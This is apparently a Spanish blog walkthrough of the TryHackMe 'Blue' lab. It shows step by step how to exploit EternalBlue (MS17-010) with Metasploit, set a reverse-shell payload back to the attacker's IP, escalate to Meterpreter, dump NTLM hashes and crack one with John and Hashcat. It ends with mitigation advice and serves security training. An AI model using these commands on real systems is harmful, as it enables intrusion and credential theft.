Blue - TryHackMe

xhetic

xhetic

@xhetic

TryHackMeEternalBlueMS17-010
Blue - TryHackMe

📚 Esta publicación pertenece a la colección:

Blue - TryHackMe Walkthrough

Bienvenido a mi writeup de la máquina Blue de TryHackMe. Esta es una room con formato walkthrough, lo que significa que nos guía paso a paso a través de la explotación. El objetivo es comprometer un sistema Windows 7 vulnerable a EternalBlue (MS17-010), uno de los exploits más famosos filtrados por The Shadow Brokers en 2017.

Room: Blue
Dificultad: Easy
Objetivo: Explotar EternalBlue y capturar 3 flags
Tiempo estimado: 1 hora

Esta máquina es perfecta para familiarizarse con Metasploit Framework y entender cómo funcionan las vulnerabilidades críticas en Windows.


🎯 Información del Objetivo

IP Target: 10.10.201.168


🔍 Fase 1: Reconocimiento (RECON)

Escaneo Inicial de Puertos

El primer paso en cualquier evaluación es identificar los servicios expuestos en el objetivo.

Task: Scan the machine. (If you are unsure how to tackle this, I recommend checking out the Nmap room)

Ejecuto un escaneo con nmap para identificar servicios y versiones:

nmap -sV -sC 10.10.201.168

Escaneo inicial con nmap

Observaciones importantes:

  • Múltiples puertos abiertos relacionados con servicios de Windows
  • Puerto 135 (MSRPC)
  • Puerto 139 (NetBIOS)
  • Puerto 445 (SMB) ← Este es nuestro objetivo
  • Sistema operativo: Windows 7 Professional 7601 Service Pack 1

Conteo de Puertos

Task: How many ports are open with a port number under 1000?

Analizando el resultado del escaneo, identifico 3 puertos abiertos por debajo del puerto 1000:

  • 135 - MSRPC
  • 139 - NetBIOS-SSN
  • 445 - Microsoft-DS (SMB)

Respuesta: 3

Identificación de Vulnerabilidades

Task: What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)

Ahora que sé que el puerto 445 (SMB) está abierto, voy a ejecutar scripts de detección de vulnerabilidades específicos de nmap:

nmap 10.10.201.168 -p445 --script=vuln

Escaneo de vulnerabilidades

Oh yeah ddy 🎯 El sistema es vulnerable a MS17-010 (EternalBlue).

¿Qué es EternalBlue?

EternalBlue es un exploit desarrollado por la NSA que aprovecha una vulnerabilidad crítica en el protocolo SMBv1 de Windows. Fue filtrado por el grupo The Shadow Brokers en abril de 2017 y posteriormente utilizado en ataques masivos como:

  • WannaCry (Mayo 2017)
  • NotPetya (Junio 2017)

Esta vulnerabilidad permite:

  • ✅ Ejecución remota de código (RCE)
  • ✅ Acceso de sistema (NT AUTHORITY\SYSTEM)
  • ✅ Sin necesidad de autenticación

Respuesta: ms17-010

💡 Dato histórico: Microsoft lanzó el parche MS17-010 en marzo de 2017, pero muchos sistemas no fueron actualizados, lo que permitió que WannaCry infectara más de 200,000 equipos en 150 países.


🚀 Fase 2: Obtención de Acceso (GAIN ACCESS)

Iniciar Metasploit Framework

Task: Start Metasploit

Arranco Metasploit Framework desde la terminal:

msfconsole

📝 Nota: Asegúrate de que el servicio PostgreSQL esté activo antes de iniciar Metasploit. Puedes verificarlo con service postgresql status o iniciarlo con service postgresql start.

Búsqueda del Exploit

Task: Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/........)

Dentro de Metasploit, busco el exploit de EternalBlue:

search ms17-010

El módulo que necesitamos es:

exploit/windows/smb/ms17_010_eternalblue

Para seleccionarlo, ejecuto:

use exploit/windows/smb/ms17_010_eternalblue

Respuesta: exploit/windows/smb/ms17_010_eternalblue

Configuración del Exploit

Task: Show options and set the one required value. What is the name of this value? (All caps for submission)

Verifico las opciones del exploit:

show options

Metasploit Framework

Identifico que el valor requerido que no está configurado es RHOSTS (Remote Hosts), que especifica la dirección IP del objetivo.

Configuro los parámetros necesarios:

set RHOSTS 10.10.201.168
set LHOST 10.8.63.221
  • RHOSTS: IP del objetivo (victim)
  • LHOST: Tu IP (attacker)

Respuesta: RHOSTS

Configuración del Payload

Task: Usually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target. Enter the following command and press enter: set payload windows/x64/shell/reverse_tcp

Este comando configura el payload que vamos a inyectar en el sistema objetivo. Un reverse shell hace que la máquina víctima se conecte de vuelta a nosotros.

set payload windows/x64/shell/reverse_tcp

Diferencia entre payloads:

  • windows/x64/shell/reverse_tcp → Shell simple de Windows
  • windows/x64/meterpreter/reverse_tcp → Meterpreter (más funcionalidades)

Ejecución del Exploit

Task: With that done, run the exploit!

Con todo configurado correctamente, lanzo el exploit:

run

O alternativamente:

exploit

Exploit ejecutado

Verificación del Acceso

Task: Confirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (CTRL + Z). If this failed, you may have to reboot the target VM. Try running it again before a reboot of the target.

Perfecto. 🎉 Hemos obtenido una shell en el sistema objetivo.

Para verificar, puedo ejecutar comandos básicos de Windows:

whoami
hostname

Ahora pongo la sesión en segundo plano con CTRL + Z para poder trabajar con otros módulos de Metasploit.


⬆️ Fase 3: Escalada de Privilegios (ESCALATE)

Conversión a Meterpreter

Task: If you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)

Una shell de Windows básica es funcional, pero Meterpreter ofrece muchas más capacidades:

  • Captura de pantallas
  • Keyloggers
  • Dump de credenciales
  • Pivoting
  • Y mucho más

Investigando en la documentación de Metasploit, encuentro el módulo para convertir una shell a Meterpreter:

post/multi/manage/shell_to_meterpreter

Respuesta: post/multi/manage/shell_to_meterpreter

Configuración del Módulo de Conversión

Task: Select this (use MODULE_PATH). Show options, what option are we required to change?

Selecciono el módulo:

use post/multi/manage/shell_to_meterpreter

Verifico las opciones:

show options

El parámetro que necesito configurar es SESSION, que indica qué sesión activa quiero convertir.

Respuesta: SESSION

Listado de Sesiones Activas

Task: Set the required option, you may need to list all of the sessions to find your target here.

Primero listo las sesiones activas:

sessions -l

Sesiones activas

Veo que tengo una sesión con ID 1 (la shell que obtuvimos con EternalBlue).

Configuro el parámetro:

set SESSION 1

Ejecución de la Conversión

Task: Run! If this doesn't work, try completing the exploit from the previous task once more.

Ejecuto el módulo:

run

Conversión a Meterpreter

¡Perfecto! La conversión se ha completado exitosamente. Ahora tenemos una meterpreter shell.

Selección de la Sesión Meterpreter

Task: Once the meterpreter shell conversion completes, select that session for use.

Listo las sesiones nuevamente:

sessions -l

Ahora veo que tengo una nueva sesión de tipo meterpreter. Para interactuar con ella:

sessions -i 2

Sesión Meterpreter activa

Verificación de Privilegios

Task: Verify that we have escalated to NT AUTHORITY\SYSTEM. Run getsystem to confirm this. Feel free to open a dos shell via the command 'shell' and run 'whoami'. This should return that we are indeed system. Background this shell afterwards and select our meterpreter session for usage again.

Verifico mi nivel de privilegios actual:

getuid

Privilegios de sistema

Ddy, tengo privilegios de NT AUTHORITY\SYSTEM, el nivel más alto en Windows.

Para confirmarlo también desde una shell tradicional hago:

shell
whoami
exit

Verificación con shell

Migración de Procesos

Task: List all of the processes running via the 'ps' command. Just because we are system doesn't mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).

Listo todos los procesos en ejecución:

ps

Procesos del sistema

Identifico el proceso smss.exe con PID 416, que corre como NT AUTHORITY\SYSTEM.

Task: Migrate to this process using the 'migrate PROCESS_ID' command where the process id is the one you just wrote down in the previous step. This may take several attempts, migrating processes is not very stable. If this fails, you may need to re-run the conversion process or reboot the machine and start once again. If this happens, try a different process next time.

La migración de procesos es útil para:

  • Mayor estabilidad de la sesión
  • Persistencia
  • Evasión de detección
migrate 416

⚠️ Advertencia: La migración de procesos puede ser inestable. Si falla, intenta con otro proceso o reinicia el exploit. En mi caso, el proceso falló pero no es crítico para continuar con las siguientes fases.


🔓 Fase 4: Cracking de Contraseñas (CRACKING)

Main Task: Dump the non-default user's password and crack it!

Extracción de Hashes

Task: Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?

Ahora que tengo privilegios de SYSTEM, puedo extraer los hashes de contraseñas almacenados en el sistema:

hashdump

Resultado:

Dump de hashes

Los usuarios del sistema son:

  • Administrator (cuenta por defecto)
  • Guest (cuenta por defecto)
  • Jon (cuenta de usuario no por defecto)

Respuesta: Jon

¿Qué es hashdump?

El comando hashdump extrae los hashes NTLM de las contraseñas almacenadas en el registro de Windows (específicamente en SAM - Security Account Manager). El formato es:

username:RID:LM_hash:NTLM_hash:::
  • RID: Relative Identifier (ID del usuario)
  • LM_hash: Hash LAN Manager (obsoleto)
  • NTLM_hash: Hash NT LAN Manager (actual)

Cracking del Hash

Task: Copy this password hash to a file and research how to crack it. What is the cracked password?

Tomo el hash NTLM de Jon:

ffb43f0de35be4d9917ac0cc8ad57f8d

Método 1: CrackStation (rápido)

Uso la web CrackStation.net para crackear el hash:

Hash crackeado

Resultado: alqfna22

Método 2: John the Ripper (offline)

Alternativamente, podría usar John the Ripper:

echo "Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::" > hash.txt
john --format=NT hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Método 3: Hashcat (GPU)

O Hashcat para mayor velocidad:

hashcat -m 1000 ffb43f0de35be4d9917ac0cc8ad57f8d /usr/share/wordlists/rockyou.txt

💡 Modo Hashcat: -m 1000 es el modo para hashes NTLM

Respuesta: alqfna22


🚩 Fase 5: Captura de Flags (FIND FLAGS!)

Main Task: Find the three flags planted on this machine. These are not traditional flags, rather, they're meant to represent key locations within the Windows system. Use the hints provided below to complete this room!

Las flags en esta máquina representan ubicaciones importantes en el sistema de archivos de Windows que un pentester debe conocer.

Flag 1: System Root

Task: Flag1? This flag can be found at the system root.

El "system root" en Windows es la raíz de la unidad del sistema, típicamente C:\

Desde Meterpreter, navego a la raíz:

cd C:\\
ls
cat flag1.txt

Flag 1 encontrada

Ubicación: C:\flag1.txt

🚩 Flag 1 capturada!

Flag 2: Password Storage

Task: Flag2? This flag can be found at the location where passwords are stored within Windows.

Errata: Windows really doesn't like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag. This relatively rare, however, it can happen.

Las contraseñas en Windows se almacenan en el registro SAM (Security Account Manager), ubicado en:

C:\Windows\System32\config

Esta carpeta también contiene archivos críticos del registro:

  • SAM - Security Account Manager (hashes de contraseñas)
  • SYSTEM - Configuración del sistema
  • SOFTWARE - Configuración de aplicaciones
  • SECURITY - Políticas de seguridad

Navego a esa ubicación:

cd C:\\Windows\\System32\\config
ls
cat flag2.txt

Flag 2 encontrada

Ubicación: C:\Windows\System32\config\flag2.txt

🚩 Flag 2 capturada!

🔐 Dato de seguridad: Esta carpeta es de vital importancia para atacantes, ya que con acceso a los archivos SAM y SYSTEM se pueden extraer credenciales incluso sin estar en el sistema activo (mediante técnicas offline).

Flag 3: Administrator's Loot

Task: Flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.

Los administradores suelen guardar información sensible en sus carpetas personales, especialmente en:

  • Desktop (Escritorio)
  • Documents (Documentos)
  • Downloads (Descargas)

Investigo el perfil del usuario Jon:

cd C:\\Users\\Jon
ls

Veo que tiene las carpetas típicas de un usuario de Windows. Reviso Documents:

cd Documents
ls
cat flag3.txt

Flag 3 encontrada

Ubicación: C:\Users\Jon\Documents\flag3.txt

🚩 Flag 3 capturada!

📂 Tip de pentesting: Las carpetas de usuario son excelentes lugares para encontrar:

  • Credenciales guardadas en archivos de texto
  • Llaves SSH privadas
  • Configuraciones de aplicaciones con credenciales
  • Información corporativa sensible
  • Backups de bases de datos

📊 Resumen y Lecciones Aprendidas

Vectores de Ataque Utilizados

  1. Reconocimiento con Nmap - Identificación de servicios y versiones
  2. Detección de MS17-010 - Scripts de vulnerabilidad de Nmap
  3. Explotación con Metasploit - EternalBlue (MS17-010)
  4. Conversión a Meterpreter - Mayor funcionalidad post-explotación
  5. Extracción de credenciales - Hashdump con privilegios de SYSTEM
  6. Cracking de hashes - NTLM hash cracking

Vulnerabilidades Identificadas

VulnerabilidadCVESeveridadImpacto
MS17-010 (EternalBlue)CVE-2017-0144CRÍTICARCE sin autenticación
SMBv1 habilitadoN/AALTAVector de ataque
Contraseña débilN/AMEDIAFácilmente crackeable

Recomendaciones de Mitigación

Para los administradores de sistemas Windows:

  1. 🔄 Actualizar inmediatamente - Instalar el parche MS17-010
  2. 🚫 Deshabilitar SMBv1 - Protocolo obsoleto e inseguro
  3. 🔐 Políticas de contraseñas robustas - Mínimo 12 caracteres, complejidad
  4. 🛡️ Segmentación de red - Restringir acceso SMB entre segmentos
  5. 📊 Monitoreo de tráfico SMB - Detectar actividad sospechosa
  6. 🔒 Deshabilitar cuentas no utilizadas - Reducir superficie de ataque
  7. 🔥 Firewall configurado - Bloquear puertos 445, 139 desde Internet

Herramientas Utilizadas

  • Nmap - Escaneo y detección de vulnerabilidades
  • Metasploit Framework - Explotación y post-explotación
  • Meterpreter - Shell avanzada post-explotación
  • CrackStation - Cracking de hashes online
  • John the Ripper (alternativa) - Cracking offline
  • Hashcat (alternativa) - Cracking con GPU

📚 Referencias


🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.

Happy Hacking! 🎩🔐

Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.